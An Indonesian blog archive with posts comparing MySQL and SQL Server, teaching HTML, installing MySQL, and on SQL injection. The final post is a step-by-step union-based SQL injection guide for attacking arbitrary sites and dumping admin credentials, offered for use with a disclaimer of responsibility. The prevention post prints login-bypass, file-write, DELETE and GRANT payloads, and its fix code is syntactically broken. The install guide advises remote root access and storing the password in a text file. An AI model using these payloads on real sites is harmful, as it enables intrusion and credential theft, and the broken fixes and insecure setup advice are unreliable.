Pages

Saturday 30 June 2012

Perbandingan Mysql Dan SQL server


Jika kita sering membuat program database dengan perintah yang kita simpan didalam database seperti stored procedure, function, atau trigger kadang terdapat perbedaan bahasa pemrogramman antara di MySQL dengan SQL Server. Berikut kita akan membahas beberapa perbedaan antara aplikasi database tersebut.
Untuk parameter di dalam SQL Server selalu menggunakan awalan ‘@’, sedangkan pada MySQL kita dapat mengidentifikasikan parameter dengan karakter apapun dan kita bahkan dapat membuat parameter local tanpa mendeklarasikannya terlebih dahulu, yaitu dengan menambahkan karakter “@” pada awalan parameter yang dibuat.

Pada SQL Server kita dapat mengetikan perintah
‘DECLARE v1 [datatype], v2 [datatype], v3 [datatype]’
tetapi pada MySQL kita harus mengetikan perintah
‘DECLARE v1 [datatype]; DECLARE v2 [datatype]; DECLARE v3 [datatype]’

SQL Server tidak perlu mengetikan perintah ‘BEGIN … END’ untuk batasan sebuah Stored Procedure atau Function. Tetapi dalam MySQL kita perlu mengetikan perintah ‘BEGIN … END’ untuk Stored Procedure atau Function yang memiliki lebih dari satu baris perintah.
Contoh:
DELIMITER$$
CREATE PROCEDURE proc1(id int)
BEGIN
[statement 1];
[statement 2];
END$$
DELIMITER;

Pada SQL Server kita tidak perlu mengetikan karakter ‘;’ (titik koma) pada setiap akhir perintah. Tetapi pada MySQL membutuhkan karakter ‘;’ pada setiap akhir perintah, karena MySQL merupakan aplikasi console yang membutuhkan pembatas untuk setiap perintah yang dituliskan menjadi pembatas dengan perintah yang lainnya dalam satu Procedure atau Function.

SQL Server memiliki fungsi ‘SET NOCOUNT’ dan ‘@@ROWCOUNT’ untuk memperoleh jumlah row hasil execute. Sedangkan pada MySQL tidak memiliki perintah untuk ‘SET NOCOUNT’, tetapi memiliki fungsi ‘row_count()’ untuk mendapatkan jumlah row hasil execute dari query delete, insert, atau update, ‘found_rows()’ untuk mendapatakan jumlah row hasil execute dari query select.

SQL Server memiliki perintah perulangan ‘WHILE … BEGIN’. Sedangkan MySQL memiliki perintah perulangan ‘WHILE … DO’.

SQL Server dapat menggunakan perintah ‘SELECT’ atau ‘SET’ untuk mengisi data ke variable.
Contoh:
DECLARE @v1 int, @v2 int
SELECT @v1 = 10, @v2 = 20
Sedangkan MySQL hanya dapat menggunakan perintah ‘SET’ untuk mengisi data ke variable.
Contoh:
DECLARE v1 int;
DECLARE v2 int;
SET v1 = 10;
SET v2 = 20;

Sunday 24 June 2012

Pemprograman HTML


Sebelumnya sudah ada postingan yang berjudul Belajar HTML, disana sudah dijelaskan secara mendasar tentang HTML. Sekedar untuk mengingatkan kembali tentang apa itu HTML anda bisa membacanya di Pengenalan HTML.
Didalam tutorial HTML ini kita akan membahas kembali tentang HTML tersebut termasuk elemen-elemen HTML yang belum kita bahas sebelumnya seperti frame, table, form dan sebagainya.

Apa yang dibutuhkan dalam Belajar HTML ini?

  1. Komputer dan koneksi ke Internet.

    Agar kita bisa membaca dan belajar sambil praktek.
  2. Teks editor.

    Teks editor seperti Notepad di Windows adalah pilihan paling mudah karena sudah terintegrasi dengan system kita. Jika ingin menggunakan teks editor yang lebih bagus lagi, bisa men-download Notepad ++.
    Jika menggunakan software lain seperti MS FrontPage atau Dreamweaver usahakan untuk selalu berada di kode "HTML View" dan gunakan real browser untuk menampilkan atau "preview" dokumen HTML anda.
    Dengan kata lain biasakan untuk membuat, mengedit dan memasukkan kode-kode HTML dengan mengetiknya secara manual sehingga nantinya akan terbiasa dan hafal dengan kode-kode HTML.
  3. Browser atau peramban.

    Untuk Windows ada Internet Explorer namun jika ingin menggunakan peramban yang lain ada bermacam-macam pilihan seperti Mozilla FirefoxGoogle Chrome,OperaSafari dsb.
  4. Kreatif, tekun dan sabar.

    Misal jika diberikan contoh-contoh HTML, kemudian berinisiatif membuat contoh-contoh yang berbeda berdasarkan imajinasinya sendiri ini namanya kreatif.
    Kemudian lakukan dengan rutin dengan melakukan berbagai macam percobaan, melakukan pencarian informasi dari berbagai macam sumber, menyimak dan memberikan perhatian dengan apa yang sedang di lakukan itu namanya baru tekun.
    Kesabaran memang ada batasnya jika ini terjadi sebaiknya anda beralih melakukan hobby-hobby anda yang lainnya lupakan HTML untuk sementara.

Tips lainnya

Jangan menulis tag-tag HTML secara tumpang-tindih.
Penulisan yang salah:
<p><strong>Paragraf dengan tulisan tebal</p></strong>
Penulisan yang benar:
<p><strong>Paragraf dengan tulisan tebal</strong></p>
Hasil dari kedua contoh diatas akan sama:
Paragraf dengan tulisan tebal
Pelajari tapi hindari penggunaan deprecated tag dan atribut, seperti contoh untuk tag <body> deprecated jika menggunakan atribut bgcolor atau background:
<body background="#FFFFFF">...</body> atau: <body bgcolor="#FFFFFF">...</body>
Kita dapat menggantinya dengan menggunakan atribut style:
<body style="background-color:#ffffff">...</body>
Dalam tulisan tentang Pengenalan HTML mungkin anda akan mendapati tulisan seperti berikut:
Untuk menuliskan Elemen HTML bisa menggunakan huruf besar maupun huruf kecil. Contoh: <HTML>, <HtMl>, <HTml>, <html>, semuanya adalah sama.
Namun saat ini saya menganjurkan untuk membiasakan diri menggunakan huruf kecil saja baik untuk HTML maupun CSS.
Disamping akan terlihat lebih rapi juga agar nantinya lebih mudah ber-adaptasi dengan XHTML yang memang diharuskan harus menggunakan huruf kecil.
XHTML adalah gabungan dari XML dan HTML jadi tetap menggunakan kode-kode HTML hanya ada peberapa perbedaan yang mudah dipelajari nantinya kalau sudah tahu dan mengerti tentang HTML.

Silahkan Donwload Untuk Tutorial

Instalasi Mysql Dengan Apache Server


Sebelum menginstal MySQL pastikan bahwa Apache Server dan PHP sudah terinstal dan berjalan dengan baik.
Klik link berikut ini untuk mendownload MySQLhttp://dev.mysql.com/downloads/mysql/
Ketika mendownload pilih yang Windows MSI Installer versi GA (Generally Available) Release.
Setelah download selesai double klik file tersebut untuk memulai penginstalasian.
Install MySQL-01
Klik Next untuk melanjutkan penginstalasian.
Install MySQL-02
Silahkan dibaca dan disimak surat perjanjian bila anda setuju dengan isi surat perjajian tersebut tanda "I accept the terms in the License Agrement" kemudian klik Next.
Install MySQL-03
Pilih "Custom" untuk tipe penginstalasian.
Install MySQL-04
Klik "Browse" untuk mengubah folder tujuan penginstalasian.
Install MySQL-05
"Look in" tujukan ke C:\Apache, kemudian buat sebuah folder dengan nama "mysql" atau bisa juga langsung mengetikkan "C:\Apache\mysql\" didalam "Folder name" kemudian klik OK.
Install MySQL-06
Setelah kita membuat foldernya maka akan terlihat seperti gambar diatas. Masih ada kesempatan untuh mengubah seandainya masih ada yang kurang tepat, tapi jika semua sudah beres dan anda sudah yakin klik Next.
Install MySQL-07
Klik Install untuk mulai menginstal MySQL. Tunggu hingga proses penginstalasian selesai.
Berikutnya akan muncul 2 jendela tentang MySQL Enterprise klik More untuk mengetahui lebih lanjut atau klik Next untuk melanjutkan penginstalasian.
Install MySQL-08
Tandai Launch the MySQL Instance Configuration Wizard kemudian klik Finish.
Install MySQL-09
Klik Next,
Install MySQL-10
Pilih Detailed Configuration, kemudian Next.
Install MySQL-11.png
Pilih Develover Machine, kemudian Next.
Install MySQL-12
Tandai Multifunctional Database, kemudian Next.
Install MySQL-13
Biarkan saja tanpa perubahan, klik Next.
Install MySQL-14
Pilih Decision Support DSS/OLAP untuk membatasi koneksi, klik Next
Install MySQL-15
Tandai Enable TCP/IP Networking dan Enable Strict Mode, kemudian Next.
Install MySQL-16
Pilih Best Support For Multilingualism, klik Next.
Install MySQL-17
Tandai Install As Windows Service. Untuk Servise Name sesuaikan dengan Versi MySQL anda. Tandai Include Bin Directory In Windows PATH agar kita bisa langsung mengakses MySQL dari Command prompt. Klik Next untuk melanjutkan.
Install MySQL-18
Pilih Modify Security Settings, kemudian isikan password. Password ini adalah yang akan kita gunakan nantinya setiap kali mengakses MySQL, jadi jika anda pelupa sebaiknya tulis pasword tersebut di Notepad dan simpan dengan nama "MySQL password" selanjutnya tandai "Enable root access from remote machine", klik Next.
Install MySQL-19.png
Klik Execute untuk memproses segala pengaturan yang telah kita buat.
Install MySQL-20
Setelah semua berjalan dengan baik maka akan tampil seperti gambar diatas, klik Finish untuk keluar dari penginstalasian.
Untuk mengetahui bahwa MySQL ini sudah bekerja dengan baik buka Command prompt. Klik Start > Run – ketik "cmd" kemudian "Enter" ketik:
mysql -u root -p
Kemudian "Enter" dan masukkan password yang kita masukkan ketika menginstal MySQL dan "Enter". Maka selanjutnya akan tampil seperti berikut ini, berarti MySQL sudah berjalan dengan baik. Sorry nama saya sengaja di coret karena tidak ingin terkenal.
Test MySQL dari CMD
Ketik "\q" untuk keluar dari MySQL dan kemudian "exit" untuk keluar dari Command prompt.
Selanjutnya agar MySQL terhubung dengan Server dan PHP maka kita harus mengedit kembali file konfigurasi.
Buka file pengaturan PHP "C:\Apache\php\php.ini" di bawah Dynamic Extensions cari kedua extension di bawah ini:
;extension=php_mysql.dll ;extension=php_mysqli.dll
Aktifkan kedua extension tersebut dengan cara menghapus titik koma ";" yang berada di depannya:
extension=php_mysql.dll extension=php_mysqli.dll
Simpan file tersebut kemudian Restart Server.
Buka Notepad kemudian salin kode berikut, setelah mengisikan MySQL password anda, simpan file tersebut ke "D:\My Websites" dengan nama "index.php"
<?php $dbServer='localhost'; $dbUser='root'; $dbPass='xxxxx'; //Ganti xxxxx dengan password MySQL anda. $dbName='test'; $link = mysql_connect("$dbServer", "$dbUser", "$dbPass") or die("Koneksi ke server gagal"); print "<h1>Koneksi ke MySQL berhasil!!!</h1>"; mysql_select_db("$dbName") or die("Database tidak ditemukan"); print "<h2>Koneksi ke Database berhasil!!!</h2>"; mysql_close($link); ?>
Kemudian buka browser, di address bar ketikkan "http://localhost/" kemudian "Enter."
Jika bekerja dengan baik maka akan tampil seperti berikut:
MySQL Script Test.png

Cara Mencegah Sql Injection

SQL Injection adalah salah satu jenis penyerangan yang mengijinkan user tidak sah(penyerang)untuk mengakses database server. Pada dasarnya,serangan ini difasilitasi oleh kode program anda sendiri. teknik nya,penyerang mencoba memasukkan query (melalui field atau URL) yang akan menyebabkan database server men-generate query SQL yang tidak valid.

Pada kenyataan nya,SQL injection terbukti merupakan salah satu teknik terbaik yang sering melumpuhkan sasarannya. Begitu penyerang berhasil menguasai kendali dataase server,ia bisa melakukan apa saja,seperti memodifikasi atau bahkan menghapus semua data yang ada. bagaimana pun juga, ini bisa dicegah jika kode program anda melakukan validasi yang baik.

Sebenarnya apa bila anda teliti,teknik SQL injection sangat sederhana sekali. Akan tetapi justru yang sering diabaikan oleh para programer,entah itu tidak tahu atau lupa.

Berikut ini beberapa contoh teknik SQL injection,implementasi,dan cara menggagalkan nya.

Single SQL Injection
walaupun penyerang awalnya mencoba memasukan query berupa pernyataan SQL,akan tetapi bukan sembarang query. Dalam hal ini,penyerang cukup memiliki pengatahuan mengenai SQL,sebagai contoh permulaan (maklumlah saya masih newbie :P) anda memiliki kode seperti ini.

$match = false;
if (isset($_POST['submit'])) {
$nama = $_POST['nama'];
$pass = $_POST['pass'];
$sql = "SELECT nama, password FROM user WHERE
nama='$nama' AND password='$pass'";
$res = mysqli_query($db, $sql);
// jika res berhasil,dan row yang
// dikembalikan=1, set $match=true
if ($res && mysqli_query_rows($res) == 1) {
$match = true ;
mysqli_free_result($res);
}
if ($match === true) {
echo 'account match';
} else {
echo 'invalid account';
}
}


kode program diatas memang kelihatan melakukan verifikasi data, tetapi sebenarnya sangat rapuh,penyerang bisa menggnakan query-query seperti dibawah ini,untuk melakukan akses secara tidak sah

// mengisi field nama saja,# adalah komentar,
// yang akan mengabaikan baris setelahnya
admin'#

// mengisi nama field saja
// mengekstrak data kelokasi tertentu
'OR' 1=1 INTO DUMPFILE '/path/ke_lokasi/file.txt '#
'OR' 1=1 INTO OUTFILE '/path/ke_lokasi/file.txt '#

Bagaimapun juga,contoh contoh SQL injection diatas adalah contoh yang umum. Adapun untuk mencegah nya menggunakan fungsi mysql_real_escape_string () atau addslashes(), seperti yang diuraikan pada fungsi myMacig()sebelumnya

$nama = myMacig($_POST['nama']};
$pass = myMacig($_POST['pass']};


Multiple SQL injection
Contoh SQL injection lainnya adalah dengan memberikan multiple query,seperti berikut:
// $id dari method GET/POST
$sql = "SELECT * FROM buku WHERE kode='{$id}’ “;
//mengahapus isi table
0; DELETE FROM user
// membuat account baru
0; GRANT ALL ON *.* TO 'xxx@%'
Dalam kasus ini,macig quote akan mengabaikan tanda titik koma,ini sangat membahayakan
jika menggunakan SQLite atau postgreSQL. Adapun solusi nya adalah menggunakan operator casting untuk memastikan bahwa id harus integer.

//Simulasi nilai $_POST['id']
0; DELETE FROM user
$id = (int) myMacig($_POST['id']);

apabila anda ingin memeriksa apakah input mengandung karakter tertentu,gunakan fungsi strpos().

$nama = myMacig ($_POST ['id']);
// periksa apakah karakter ; terdapat
// di variabel $nama.
if (strpos($nama, ';' die ('Naughty Naughty,
Very Naughty...'); 

Mysql Ijection Part 1

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x

===========
=step Satu:=
===========

carilah target
misal: [site]/berita.php?id=100

Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100′ atau
[site]/berita.php?id=-100

sehingga muncul pesan error seperti berikut (masih bnyak lagi):

==========
=step Dua:=
==========

mencari dan menghitung jumlah table yang ada dalam databasenya…
gunakan perintah : order by

contoh: [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*

ceklah secara step by step (satupersatu)…
misal: [site]/berita.php?id=-100+order+by+1--
[site]/berita.php?id=-100+order+by+2--
[site]/berita.php?id=-100+order+by+3--
[site]/berita.php?id=-100+order+by+4--

sehingga muncul error atau hilang pesan error…
misal: [site]/berita.php?id=-100+order+by+9--

berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--

===========
=step Tiga:=
===========

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--

lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..

untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..

============
=step Empat:= <<<<< lewatin ajah... Very Happy
============

untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--

seumpama table yang muncul adalah “admin”

===========
=step Lima:=
===========

untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

=============
= step Enam: =
=============

perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :

http://www.piclist.com/techref/ascii.htm

contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E

[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0×61646D696E--

============
=step Tujuh:=
============

memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0×3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0×3a,hasil isi column),6,7,8+from+(nama table berasal)--

contoh kata yang keluar adalah id,username,password

[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0×3a,id,username,password),6,7,8+from+admin--

==============
= step Delapan:=
==============

tahap terakhir mencari halam admin atau login

selanjutnya terserah anda karena kekuasaan web ada di tangan anda…
(me gak bertanggung jawab loh..) Very Happy